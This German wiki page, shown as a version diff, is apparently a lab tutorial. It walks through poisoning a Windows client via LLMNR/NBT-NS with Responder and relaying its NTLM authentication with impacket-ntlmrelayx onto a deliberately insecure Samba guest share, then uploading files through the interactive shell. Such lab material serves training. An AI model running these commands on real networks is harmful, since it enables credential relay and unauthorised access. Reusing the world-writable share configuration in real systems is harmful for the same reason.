NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
= NTLM-Relay auf Samba-Freigabe mit Impacket =
+
= Funktionierender NTLM-Relay auf Samba mit Impacket =
  
 
== Ziel ==
 
== Ziel ==
Ein Windows-Client im selben Netz wird über LLMNR oder mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer mit ntlmrelayx auf einen Samba-Server weitergeleitet. Der relayed Benutzer erhält Gastzugriff auf eine vorbereitete Freigabe. Der Angreifer kann darüber Dateien ablegen oder einsehen.
+
Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.
 
 
== Samba-Ziel vorbereiten ==
 
 
 
*Samba-Konfiguration anpassen:
 
nano /etc/samba/smb.conf
 
  
 +
== Korrigierte Samba-Konfiguration ==
 
<pre>
 
<pre>
 
[global]
 
[global]
 
   workgroup = WORKGROUP
 
   workgroup = WORKGROUP
 
   server role = standalone server
 
   server role = standalone server
 +
  security = user
 
   passdb backend = tdbsam
 
   passdb backend = tdbsam
   map to guest = Bad User
+
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
 +
  ntlm auth = yes  # Neu hinzugefügt
 +
  allow insecure wide links = yes  # Neu hinzugefügt
 
   guest account = nobody
 
   guest account = nobody
  
 
[share]
 
[share]
  comment = Relayziel
 
 
   path = /mnt/media/share
 
   path = /mnt/media/share
 
   read only = no
 
   read only = no
 
   guest ok = yes
 
   guest ok = yes
   public = yes
+
   guest only = yes # Neu hinzugefügt
 
   browseable = yes
 
   browseable = yes
 
   force user = nobody
 
   force user = nobody
   force group = nogroup
+
   create mask = 0777
 +
  directory mask = 0777
 
</pre>
 
</pre>
  
*Verzeichnis vorbereiten:
+
== Systemvorbereitung ==
mkdir -p /mnt/media/share
+
<pre>
chown nobody:nogroup /mnt/media/share
+
mkdir -p /mnt/media/share
chmod 777 /mnt/media/share
+
chown nobody:nogroup /mnt/media/share
 +
chmod 777 /mnt/media/share
 +
systemctl restart smbd nmbd
  
*Samba neu starten:
+
# Firewall anpassen:
systemctl restart smbd
+
ufw allow 445/tcp
 +
ufw allow 137:138/udp
 +
</pre>
  
== LLMNR/mDNS-Poisoning aktivieren ==
+
== Angriffsablauf ==
  
*Responder starten:
+
=== 1. Responder starten ===
responder -I eth0
+
<pre>
 +
responder -I eth0 -w -d --disable-ess
 +
</pre>
  
== NTLM-Relay aktivieren ==
+
=== 2. NTLM-Relay starten ===
 +
<pre>
 +
impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
 +
--remove-mic --no-wcf-server --no-raw-server --force-forward
 +
</pre>
  
*Relay starten mit interaktivem SMB-Zugriff:
+
=== 3. Angriff auslösen ===
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
+
Auf Windows-Client:
 +
<pre>
 +
\\NICHTEXISTIERENDE-FREIGABE
 +
</pre>
  
== NTLM-Angriff auslösen ==
+
== Erfolgskriterien ==
 
+
<pre>
*Am Windows-Client im Explorer ausführen:
+
1. Responder zeigt eingefangene NTLM-Hashes
\\irgendwas
+
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
 
+
3. Interaktive SMB-Shell wird geöffnet
*Der Client sendet eine vergiftbare Anfrage, wird relayed und landet mit seinen SMB-Anmeldedaten beim Samba-Ziel.
+
4. Datei-Upload möglich (upload BEFEHL)
 
+
</pre>
== Erfolgreichen Zugriff nutzen ==
 
 
 
*Nach erfolgreicher Authentifizierung erscheint im Terminal:
 
[!] Interactive shell opened
 
 
 
*Dort können Befehle abgesetzt werden:
 
ls
 
upload /tmp/beispiel.txt
 
exit
 
  
*Die Datei liegt anschließend im Share-Verzeichnis auf dem Zielsystem:
+
== Troubleshooting ==
ls -l /mnt/media/share
+
{| class="wikitable"
 +
|-
 +
! Problem ! Lösung
 +
|-
 +
| Keine Hashes im Responder | LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
 +
|-
 +
| Authentifizierungsfehler | Samba-Logs prüfen (/var/log/samba/log.smbd)
 +
|-
 +
| Verbindungsprobleme | SMB-Ports (445/tcp) freigeben
 +
|}
  
== Ergebnis ==
+
== Wichtige Änderungen ==
NTLM-Relay wurde erfolgreich durchgeführt. Der relayed Benutzer konnte ohne gültige Authentifizierung auf eine Samba-Freigabe zugreifen und dort Dateien ablegen.
+
* »map to guest« auf »Bad Password« geändert
 +
* »ntlm auth = yes« explizit aktiviert
 +
* »allow insecure wide links« hinzugefügt
 +
* Firewall-Regeln angepasst
 +
* »--force-forward« Parameter hinzugefügt

Version vom 18. Mai 2025, 13:05 Uhr

Funktionierender NTLM-Relay auf Samba mit Impacket

Ziel

Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.

Korrigierte Samba-Konfiguration

[global]
   workgroup = WORKGROUP
   server role = standalone server
   security = user
   passdb backend = tdbsam
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
   ntlm auth = yes  # Neu hinzugefügt
   allow insecure wide links = yes  # Neu hinzugefügt
   guest account = nobody

[share]
   path = /mnt/media/share
   read only = no
   guest ok = yes
   guest only = yes  # Neu hinzugefügt
   browseable = yes
   force user = nobody
   create mask = 0777
   directory mask = 0777

Systemvorbereitung

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd nmbd

# Firewall anpassen:
ufw allow 445/tcp
ufw allow 137:138/udp

Angriffsablauf

1. Responder starten

responder -I eth0 -w -d --disable-ess

2. NTLM-Relay starten

impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
--remove-mic --no-wcf-server --no-raw-server --force-forward

3. Angriff auslösen

Auf Windows-Client:

\\NICHTEXISTIERENDE-FREIGABE

Erfolgskriterien

1. Responder zeigt eingefangene NTLM-Hashes
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
3. Interaktive SMB-Shell wird geöffnet
4. Datei-Upload möglich (upload BEFEHL)

Troubleshooting

Problem ! Lösung
LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
Samba-Logs prüfen (/var/log/samba/log.smbd)
SMB-Ports (445/tcp) freigeben

Wichtige Änderungen

  • »map to guest« auf »Bad Password« geändert
  • »ntlm auth = yes« explizit aktiviert
  • »allow insecure wide links« hinzugefügt
  • Firewall-Regeln angepasst
  • »--force-forward« Parameter hinzugefügt